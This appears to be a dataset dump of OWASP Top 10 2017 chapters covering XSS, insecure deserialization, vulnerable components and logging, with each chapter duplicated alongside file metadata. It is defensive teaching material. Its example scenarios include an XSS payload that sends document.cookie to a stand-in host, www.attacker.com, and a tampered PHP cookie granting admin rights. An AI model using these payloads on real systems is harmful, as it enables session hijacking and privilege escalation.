| Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks. | XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications. Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET. | The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim's browser, such as stealing credentials, sessions, or delivering malware to the victim. |
## Is the Application Vulnerable?
There are three forms of XSS, usually targeting users' browsers:
* **Reflected XSS**: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.
* **Stored XSS**: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.
* **DOM XSS**: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.
Typical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user's browser such as malicious software downloads, key logging, and other client-side attacks.
## How To Prevent
Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:
* Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework's XSS protection and appropriately handle the use cases which are not covered.
* Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The [OWASP Cheat Sheet 'XSS Prevention'](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) has details on the required data escaping techniques.
* Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP Cheat Sheet 'DOM based XSS Prevention'.
* Enabling a [Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks).
## Example Attack Scenario
**Scenario #1**: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
`(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";`
The attacker modifies the ‘CC’ parameter in the browser to:
`'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'`
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
**Note**: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ.
## References
### OWASP
* [OWASP Proactive Controls: Encode Data](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2016)
* [OWASP Proactive Controls: Validate Data](https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2016)
* [OWASP Application Security Verification Standard: V5](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project)
* [OWASP Testing Guide: Testing for Reflected XSS](https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001))
* [OWASP Testing Guide: Testing for Stored XSS](https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002))
* [OWASP Testing Guide: Testing for DOM XSS](https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001))
* [OWASP Cheat Sheet: XSS Prevention](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: DOM based XSS Prevention](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)
* [OWASP Cheat Sheet: XSS Filter Evasion](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet)
* [OWASP Java Encoder Project](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project)
### External
* [CWE-79: Improper neutralization of user supplied input](https://cwe.mitre.org/data/definitions/79.html)
* [PortSwigger: Client-side template injection](https://portswigger.net/kb/issues/00200308_clientsidetemplateinjection)
|
0xa8-insecure-deserialization.md | ./Top10/2017/en/0xa8-insecure-deserialization.md | # A8:2017 Insecure Deserialization
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 1 | Prevalence 2 : Detectability 2 | Technical 3 : Business |
| Exploitation of deserialization is somewhat difficult, as off the shelf exploits rarely work without changes or tweaks to the underlying exploit code. | This issue is included in the Top 10 based on an [industry survey](https://owasp.blogspot.com/2017/08/owasp-top-10-2017-project-update.html) and not on quantifiable data. Some tools can discover deserialization flaws, but human assistance is frequently needed to validate the problem. It is expected that prevalence data for deserialization flaws will increase as tooling is developed to help identify and address it. | The impact of deserialization flaws cannot be overstated. These flaws can lead to remote code execution attacks, one of the most serious attacks possible. The business impact depends on the protection needs of the application and data. |
## Is the Application Vulnerable?
Applications and APIs will be vulnerable if they deserialize hostile or tampered objects supplied by an attacker.
This can result in two primary types of attacks:
* Object and data structure related attacks where the attacker modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization.
* Typical data tampering attacks such as access-control-related attacks where existing data structures are used but the content is changed.
Serialization may be used in applications for:
* Remote- and inter-process communication (RPC/IPC)
* Wire protocols, web services, message brokers
* Caching/Persistence
* Databases, cache servers, file systems
* HTTP cookies, HTML form parameters, API authentication tokens
## How To Prevent
The only safe architectural pattern is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types.
If that is not possible, consider one of more of the following:
* Implementing integrity checks such as digital signatures on any serialized objects to prevent hostile object creation or data tampering.
* Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. Bypasses to this technique have been demonstrated, so reliance solely on this is not advisable.
* Isolating and running code that deserializes in low privilege environments when possible.
* Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
* Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.
* Monitoring deserialization, alerting if a user deserializes constantly.
## Example Attack Scenarios
**Scenario #1**: A React application calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing user state and passing it back and forth with each request. An attacker notices the "rO0" Java object signature, and uses the Java Serial Killer tool to gain remote code execution on the application server.
**Scenario #2**: A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password hash, and other state:
`a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}`
An attacker changes the serialized object to give themselves admin privileges:
`a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}`
## References
### OWASP
* [OWASP Cheat Sheet: Deserialization](https://www.owasp.org/index.php/Deserialization_Cheat_Sheet)
* [OWASP Proactive Controls: Validate All Inputs](https://www.owasp.org/index.php/OWASP_Proactive_Controls#4:_Validate_All_Inputs)
* [OWASP Application Security Verification Standard: TBA](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP AppSecEU 2016: Surviving the Java Deserialization Apocalypse](https://speakerdeck.com/pwntester/surviving-the-java-deserialization-apocalypse)
* [OWASP AppSecUSA 2017: Friday the 13th JSON Attacks](https://speakerdeck.com/pwntester/friday-the-13th-json-attacks)
### External
* [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
* [Java Unmarshaller Security](https://github.com/mbechler/marshalsec)
* [OWASP AppSec Cali 2015: Marshalling Pickles](http://frohoff.github.io/appseccali-marshalling-pickles/)
| 4,815 | 0.004592 | # A8:2017 Insecure Deserialization
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 1 | Prevalence 2 : Detectability 2 | Technical 3 : Business |
| Exploitation of deserialization is somewhat difficult, as off the shelf exploits rarely work without changes or tweaks to the underlying exploit code. | This issue is included in the Top 10 based on an [industry survey](https://owasp.blogspot.com/2017/08/owasp-top-10-2017-project-update.html) and not on quantifiable data. Some tools can discover deserialization flaws, but human assistance is frequently needed to validate the problem. It is expected that prevalence data for deserialization flaws will increase as tooling is developed to help identify and address it. | The impact of deserialization flaws cannot be overstated. These flaws can lead to remote code execution attacks, one of the most serious attacks possible. The business impact depends on the protection needs of the application and data. |
## Is the Application Vulnerable?
Applications and APIs will be vulnerable if they deserialize hostile or tampered objects supplied by an attacker.
This can result in two primary types of attacks:
* Object and data structure related attacks where the attacker modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization.
* Typical data tampering attacks such as access-control-related attacks where existing data structures are used but the content is changed.
Serialization may be used in applications for:
* Remote- and inter-process communication (RPC/IPC)
* Wire protocols, web services, message brokers
* Caching/Persistence
* Databases, cache servers, file systems
* HTTP cookies, HTML form parameters, API authentication tokens
## How To Prevent
The only safe architectural pattern is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types.
If that is not possible, consider one of more of the following:
* Implementing integrity checks such as digital signatures on any serialized objects to prevent hostile object creation or data tampering.
* Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. Bypasses to this technique have been demonstrated, so reliance solely on this is not advisable.
* Isolating and running code that deserializes in low privilege environments when possible.
* Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
* Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.
* Monitoring deserialization, alerting if a user deserializes constantly.
## Example Attack Scenarios
**Scenario #1**: A React application calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing user state and passing it back and forth with each request. An attacker notices the "rO0" Java object signature, and uses the Java Serial Killer tool to gain remote code execution on the application server.
**Scenario #2**: A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password hash, and other state:
`a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}`
An attacker changes the serialized object to give themselves admin privileges:
`a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}`
## References
### OWASP
* [OWASP Cheat Sheet: Deserialization](https://www.owasp.org/index.php/Deserialization_Cheat_Sheet)
* [OWASP Proactive Controls: Validate All Inputs](https://www.owasp.org/index.php/OWASP_Proactive_Controls#4:_Validate_All_Inputs)
* [OWASP Application Security Verification Standard: TBA](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP AppSecEU 2016: Surviving the Java Deserialization Apocalypse](https://speakerdeck.com/pwntester/surviving-the-java-deserialization-apocalypse)
* [OWASP AppSecUSA 2017: Friday the 13th JSON Attacks](https://speakerdeck.com/pwntester/friday-the-13th-json-attacks)
### External
* [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
* [Java Unmarshaller Security](https://github.com/mbechler/marshalsec)
* [OWASP AppSec Cali 2015: Marshalling Pickles](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
0xa9-known-vulns.md | ./Top10/2017/en/0xa9-known-vulns.md | # A9:2017 Using Components with Known Vulnerabilities
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 2 | Prevalence 3 : Detectability 2 | Technical 2 : Business |
| While it is easy to find already-written exploits for many known vulnerabilities, other vulnerabilities require concentrated effort to develop a custom exploit. | Prevalence of this issue is very widespread. Component-heavy development patterns can lead to development teams not even understanding which components they use in their application or API, much less keeping them up to date. Some scanners such as retire.js help in detection, but determining exploitability requires additional effort. | While some known vulnerabilities lead to only minor impacts, some of the largest breaches to date have relied on exploiting known vulnerabilities in components. Depending on the assets you are protecting, perhaps this risk should be at the top of the list. |
## Is the Application Vulnerable?
You are likely vulnerable:
* If you do not know the versions of all components you use (both client-side and server-side). This includes components you directly use as well as nested dependencies.
* If software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.
* If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use.
* If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion. This commonly happens in environments when patching is a monthly or quarterly task under change control, which leaves organizations open to many days or months of unnecessary exposure to fixed vulnerabilities.
* If software developers do not test the compatibility of updated, upgraded, or patched libraries.
* If you do not secure the components' configurations (see **A6:2017-Security Misconfiguration**).
## How To Prevent
There should be a patch management process in place to:
* Remove unused dependencies, unnecessary features, components, files, and documentation.
* Continuously inventory the versions of both client-side and server-side components (e.g. frameworks, libraries) and their dependencies using tools like versions, DependencyCheck, retire.js, etc.
* Continuously monitor sources like CVE and NVD for vulnerabilities in the components. Use software composition analysis tools to automate the process. Subscribe to email alerts for security vulnerabilities related to components you use.
* Only obtain components from official sources over secure links. Prefer signed packages to reduce the chance of including a modified, malicious component.
* Monitor for libraries and components that are unmaintained or do not create security patches for older versions. If patching is not possible, consider deploying a virtual patch to monitor, detect, or protect against the discovered issue.
Every organization must ensure that there is an ongoing plan for monitoring, triaging, and applying updates or configuration changes for the lifetime of the application or portfolio.
## Example Attack Scenarios
**Scenario #1**: Components typically run with the same privileges as the application itself, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g. coding error) or intentional (e.g. backdoor in component). Some example exploitable component vulnerabilities discovered are:
* [CVE-2017-5638](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638), a Struts 2 remote code execution vulnerability that enables execution of arbitrary code on the server, has been blamed for significant breaches.
* While [internet of things (IoT)](https://en.wikipedia.org/wiki/Internet_of_things) are frequently difficult or impossible to patch, the importance of patching them can be great (e.g. biomedical devices).
There are automated tools to help attackers find unpatched or misconfigured systems. For example, the [Shodan IoT search engine](https://www.shodan.io/report/89bnfUyJ) can help you find devices that still suffer from [Heartbleed](https://en.wikipedia.org/wiki/Heartbleed) vulnerability that was patched in April 2014.
## References
### OWASP
* [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](https://www.owasp.org/index.php/ASVS_V1_Architecture)
* [OWASP Dependency Check (for Java and .NET libraries)](https://www.owasp.org/index.php/OWASP_Dependency_Check)
* [OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)](https://www.owasp.org/index.php/Map_Application_Architecture_(OTG-INFO-010))
* [OWASP Virtual Patching Best Practices](https://www.owasp.org/index.php/Virtual_Patching_Best_Practices)
### External
* [The Unfortunate Reality of Insecure Libraries](https://www.aspectsecurity.com/research-presentations/the-unfortunate-reality-of-insecure-libraries)
* [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cvedetails.com/version-search.php)
* [National Vulnerability Database (NVD)](https://nvd.nist.gov/)
* [Retire.js for detecting known vulnerable JavaScript libraries](https://github.com/retirejs/retire.js/)
* [Node Libraries Security Advisories](https://nodesecurity.io/advisories)
* [Ruby Libraries Security Advisory Database and Tools](https://rubysec.com/)
| 5,529 | 0.005285 | # A9:2017 Using Components with Known Vulnerabilities
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 2 | Prevalence 3 : Detectability 2 | Technical 2 : Business |
| While it is easy to find already-written exploits for many known vulnerabilities, other vulnerabilities require concentrated effort to develop a custom exploit. | Prevalence of this issue is very widespread. Component-heavy development patterns can lead to development teams not even understanding which components they use in their application or API, much less keeping them up to date. Some scanners such as retire.js help in detection, but determining exploitability requires additional effort. | While some known vulnerabilities lead to only minor impacts, some of the largest breaches to date have relied on exploiting known vulnerabilities in components. Depending on the assets you are protecting, perhaps this risk should be at the top of the list. |
## Is the Application Vulnerable?
You are likely vulnerable:
* If you do not know the versions of all components you use (both client-side and server-side). This includes components you directly use as well as nested dependencies.
* If software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries.
* If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use.
* If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion. This commonly happens in environments when patching is a monthly or quarterly task under change control, which leaves organizations open to many days or months of unnecessary exposure to fixed vulnerabilities.
* If software developers do not test the compatibility of updated, upgraded, or patched libraries.
* If you do not secure the components' configurations (see **A6:2017-Security Misconfiguration**).
## How To Prevent
There should be a patch management process in place to:
* Remove unused dependencies, unnecessary features, components, files, and documentation.
* Continuously inventory the versions of both client-side and server-side components (e.g. frameworks, libraries) and their dependencies using tools like versions, DependencyCheck, retire.js, etc.
* Continuously monitor sources like CVE and NVD for vulnerabilities in the components. Use software composition analysis tools to automate the process. Subscribe to email alerts for security vulnerabilities related to components you use.
* Only obtain components from official sources over secure links. Prefer signed packages to reduce the chance of including a modified, malicious component.
* Monitor for libraries and components that are unmaintained or do not create security patches for older versions. If patching is not possible, consider deploying a virtual patch to monitor, detect, or protect against the discovered issue.
Every organization must ensure that there is an ongoing plan for monitoring, triaging, and applying updates or configuration changes for the lifetime of the application or portfolio.
## Example Attack Scenarios
**Scenario #1**: Components typically run with the same privileges as the application itself, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g. coding error) or intentional (e.g. backdoor in component). Some example exploitable component vulnerabilities discovered are:
* [CVE-2017-5638](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638), a Struts 2 remote code execution vulnerability that enables execution of arbitrary code on the server, has been blamed for significant breaches.
* While [internet of things (IoT)](https://en.wikipedia.org/wiki/Internet_of_things) are frequently difficult or impossible to patch, the importance of patching them can be great (e.g. biomedical devices).
There are automated tools to help attackers find unpatched or misconfigured systems. For example, the [Shodan IoT search engine](https://www.shodan.io/report/89bnfUyJ) can help you find devices that still suffer from [Heartbleed](https://en.wikipedia.org/wiki/Heartbleed) vulnerability that was patched in April 2014.
## References
### OWASP
* [OWASP Application Security Verification Standard: V1 Architecture, design and threat modelling](https://www.owasp.org/index.php/ASVS_V1_Architecture)
* [OWASP Dependency Check (for Java and .NET libraries)](https://www.owasp.org/index.php/OWASP_Dependency_Check)
* [OWASP Testing Guide - Map Application Architecture (OTG-INFO-010)](https://www.owasp.org/index.php/Map_Application_Architecture_(OTG-INFO-010))
* [OWASP Virtual Patching Best Practices](https://www.owasp.org/index.php/Virtual_Patching_Best_Practices)
### External
* [The Unfortunate Reality of Insecure Libraries](https://www.aspectsecurity.com/research-presentations/the-unfortunate-reality-of-insecure-libraries)
* [MITRE Common Vulnerabilities and Exposures (CVE) search](https://www.cvedetails.com/version-search.php)
* [National Vulnerability Database (NVD)](https://nvd.nist.gov/)
* [Retire.js for detecting known vulnerable JavaScript libraries](https://github.com/retirejs/retire.js/)
* [Node Libraries Security Advisories](https://nodesecurity.io/advisories)
* [Ruby Libraries Security Advisory Database and Tools](https://rubysec.com/)
|
0xaa-logging-detection-response.md | ./Top10/2017/en/0xaa-logging-detection-response.md | # A10:2017 Insufficient Logging and Monitoring
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 2 | Prevalence 3 : Detectability 1 | Technical 2 : Business |
| Exploitation of insufficient logging and monitoring is the bedrock of nearly every major incident. Attackers rely on the lack of monitoring and timely response to achieve their goals without being detected. | This issue is included in the Top 10 based on an [industry survey](https://owasp.blogspot.com/2017/08/owasp-top-10-2017-project-update.html). One strategy for determining if you have sufficient monitoring is to examine the logs following penetration testing. The testers' actions should be recorded sufficiently to understand what damages they may have inflicted. | Most successful attacks start with vulnerability probing. Allowing such probes to continue can raise the likelihood of successful exploit to nearly 100%. In 2016, identifying a breach took an [average of 191 days](https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?htmlfid=SEL03130WWEN&) – plenty of time for damage to be inflicted. |
## Is the Application Vulnerable?
Insufficient logging, detection, monitoring and active response occurs any time:
* Auditable events, such as logins, failed logins, and high-value transactions are not logged.
* Warnings and errors generate no, inadequate, or unclear log messages.
* Logs of applications and APIs are not monitored for suspicious activity.
* Logs are only stored locally.
* Appropriate alerting thresholds and response escalation processes are not in place or effective.
* Penetration testing and scans by [DAST](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) tools (such as [OWASP ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project)) do not trigger alerts.
* The application is unable to detect, escalate, or alert for active attacks in real time or near real time.
You are vulnerable to information leakage if you make logging and alerting events visible to a user or an attacker (see A3:2017-Sensitive Information Exposure).
## How To Prevent
As per the risk of the data stored or processed by the application:
* Ensure all login, access control failures, and server-side input validation failures can be logged with sufficient user context to identify suspicious or malicious accounts, and held for sufficient time to allow delayed forensic analysis.
* Ensure that logs are generated in a format that can be easily consumed by a centralized log management solutions.
* Ensure high-value transactions have an audit trail with integrity controls to prevent tampering or deletion, such as append-only database tables or similar.
* Establish effective monitoring and alerting such that suspicious activities are detected and responded to in a timely fashion.
* Establish or adopt an incident response and recovery plan, such as [NIST 800-61 rev 2](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) or later.
There are commercial and open source application protection frameworks such as [OWASP AppSensor](https://www.owasp.org/index.php/OWASP_AppSensor_Project), web application firewalls such as [ModSecurity with the OWASP ModSecurity Core Rule Set](https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project), and log correlation software with custom dashboards and alerting.
## Example Attack Scenarios
**Scenario #1**: An open source project forum software run by a small team was hacked using a flaw in its software. The attackers managed to wipe out the internal source code repository containing the next version, and all of the forum contents. Although source could be recovered, the lack of monitoring, logging or alerting led to a far worse breach. The forum software project is no longer active as a result of this issue.
**Scenario #2**: An attacker uses scans for users using a common password. They can take over all accounts using this password. For all other users, this scan leaves only one false login behind. After some days, this may be repeated with a different password.
**Scenario #3**: A major US retailer reportedly had an internal malware analysis sandbox analyzing attachments. The sandbox software had detected potentially unwanted software, but no one responded to this detection. The sandbox had been producing warnings for some time before the breach was detected due to fraudulent card transactions by an external bank.
## References
### OWASP
* [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://www.owasp.org/index.php/OWASP_Proactive_Controls#8:_Implement_Logging_and_Intrusion_Detection)
* [OWASP Application Security Verification Standard: V8 Logging and Monitoring](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Testing Guide: Testing for Detailed Error Code](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Cheat Sheet: Logging](https://www.owasp.org/index.php/Logging_Cheat_Sheet)
### External
* [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)
* [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)
| 5,358 | 0.005117 | # A10:2017 Insufficient Logging and Monitoring
| Threat agents/Attack vectors | Security Weakness | Impacts |
| -- | -- | -- |
| Access Lvl : Exploitability 2 | Prevalence 3 : Detectability 1 | Technical 2 : Business |
| Exploitation of insufficient logging and monitoring is the bedrock of nearly every major incident. Attackers rely on the lack of monitoring and timely response to achieve their goals without being detected. | This issue is included in the Top 10 based on an [industry survey](https://owasp.blogspot.com/2017/08/owasp-top-10-2017-project-update.html). One strategy for determining if you have sufficient monitoring is to examine the logs following penetration testing. The testers' actions should be recorded sufficiently to understand what damages they may have inflicted. | Most successful attacks start with vulnerability probing. Allowing such probes to continue can raise the likelihood of successful exploit to nearly 100%. In 2016, identifying a breach took an [average of 191 days](https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?htmlfid=SEL03130WWEN&) – plenty of time for damage to be inflicted. |
## Is the Application Vulnerable?
Insufficient logging, detection, monitoring and active response occurs any time:
* Auditable events, such as logins, failed logins, and high-value transactions are not logged.
* Warnings and errors generate no, inadequate, or unclear log messages.
* Logs of applications and APIs are not monitored for suspicious activity.
* Logs are only stored locally.
* Appropriate alerting thresholds and response escalation processes are not in place or effective.
* Penetration testing and scans by [DAST](https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools) tools (such as [OWASP ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project)) do not trigger alerts.
* The application is unable to detect, escalate, or alert for active attacks in real time or near real time.
You are vulnerable to information leakage if you make logging and alerting events visible to a user or an attacker (see A3:2017-Sensitive Information Exposure).
## How To Prevent
As per the risk of the data stored or processed by the application:
* Ensure all login, access control failures, and server-side input validation failures can be logged with sufficient user context to identify suspicious or malicious accounts, and held for sufficient time to allow delayed forensic analysis.
* Ensure that logs are generated in a format that can be easily consumed by a centralized log management solutions.
* Ensure high-value transactions have an audit trail with integrity controls to prevent tampering or deletion, such as append-only database tables or similar.
* Establish effective monitoring and alerting such that suspicious activities are detected and responded to in a timely fashion.
* Establish or adopt an incident response and recovery plan, such as [NIST 800-61 rev 2](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) or later.
There are commercial and open source application protection frameworks such as [OWASP AppSensor](https://www.owasp.org/index.php/OWASP_AppSensor_Project), web application firewalls such as [ModSecurity with the OWASP ModSecurity Core Rule Set](https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project), and log correlation software with custom dashboards and alerting.
## Example Attack Scenarios
**Scenario #1**: An open source project forum software run by a small team was hacked using a flaw in its software. The attackers managed to wipe out the internal source code repository containing the next version, and all of the forum contents. Although source could be recovered, the lack of monitoring, logging or alerting led to a far worse breach. The forum software project is no longer active as a result of this issue.
**Scenario #2**: An attacker uses scans for users using a common password. They can take over all accounts using this password. For all other users, this scan leaves only one false login behind. After some days, this may be repeated with a different password.
**Scenario #3**: A major US retailer reportedly had an internal malware analysis sandbox analyzing attachments. The sandbox software had detected potentially unwanted software, but no one responded to this detection. The sandbox had been producing warnings for some time before the breach was detected due to fraudulent card transactions by an external bank.
## References
### OWASP
* [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://www.owasp.org/index.php/OWASP_Proactive_Controls#8:_Implement_Logging_and_Intrusion_Detection)
* [OWASP Application Security Verification Standard: V8 Logging and Monitoring](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Testing Guide: Testing for Detailed Error Code](https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home)
* [OWASP Cheat Sheet: Logging](https://www.owasp.org/index.php/Logging_Cheat_Sheet)
### External
* [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)
* [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)
|
0xb0-next-devs.md | ./Top10/2017/en/0xb0-next-devs.md | # +D What's Next for Developers
## Establish & Use Repeatable Security Processes and Standard Security Controls
Whether you are new to web application security or already very familiar with these risks, the task of producing a secure web application or fixing an existing one can be difficult. If you have to manage a large application portfolio, this task can be daunting.
To help organizations and developers reduce their application security risks in a cost-effective manner, OWASP has produced numerous free and open resources that you can use to address application security in your organization. The following are some of the many resources OWASP has produced to help organizations produce secure web applications and APIs. On the next page, we present additional OWASP resources that can assist organizations in verifying the security of their applications and APIs.
| Activity | Description |
| --- | --- |
| Application Security Requirements | To produce a secure web application, you must define what secure means for that application. OWASP recommends you use the [OWASP Application Security Verification Standard (ASVS)](https://www.owasp.org/index.php/ASVS) as a guide for setting the security requirements for your application(s). If you’re outsourcing, consider the [OWASP Secure Software Contract Annex](https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex). **Note**: The annex is for US contract law, so please consult qualified legal advice before using the sample annex. |
| Application Security Architecture | Rather than retrofitting security into your applications and APIs, it is far more cost effective to design the security in from the start. OWASP recommends the [OWASP Prevention Cheat Sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) as a good starting point for guidance on how to design security in from the beginning. |
| Security Standard Controls | Building strong and usable security controls is difficult. Using a set of standard security controls radically simplifies the development of secure applications and APIs. The [OWASP Prevention Cheat Sheets](https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series) is a good starting point for developers, and many modern frameworks now come with standard and effective security controls for authorization, validation, CSRF prevention, etc. |
| Secure Development Lifecycle | To improve the process your organization follows when building applications and APIs, OWASP recommends the [OWASP Software Assurance Maturity Model (SAMM)](https://www.owasp.org/index.php/OWASP_SAMM_Project). This model helps organizations formulate and implement a strategy for software security that is tailored to the specific risks facing their organization. |
| Application Security Education | The [OWASP Education Project](https://www.owasp.org/index.php/Category:OWASP_Education_Project) provides training materials to help educate developers on web application security. For hands-on learning about vulnerabilities, try [OWASP WebGoat](https://www.owasp.org/index.php/WebGoat), [WebGoat.NET](https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET), [OWASP NodeJS Goat](https://www.owasp.org/index.php/OWASP_Node_js_Goat_Project), [OWASP Juice Shop Project](https://www.owasp.org/index.php/OWASP_Juice_Shop_Project) or the [OWASP Broken Web Applications Project](https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project). To stay current, come to an [OWASP AppSec Conference](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference), [OWASP Conference Training](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference), or local [OWASP Chapter meetings](https://www.owasp.org/index.php/Category:OWASP_Chapter). |
There are numerous additional OWASP resources available for your use. Please visit the [OWASP Projects](https://www.owasp.org/index.php/Projects) page, which lists all the Flagship, Labs, and Incubator projects in the OWASP project inventory. Most OWASP resources are available on our [wiki](https://www.owasp.org/), and many OWASP documents can be ordered in [hardcopy or as eBooks](https://stores.lulu.com/owasp).
| 4,177 | 0.003985 | # +D What's Next for Developers
## Establish & Use Repeatable Security Processes and Standard Security Controls
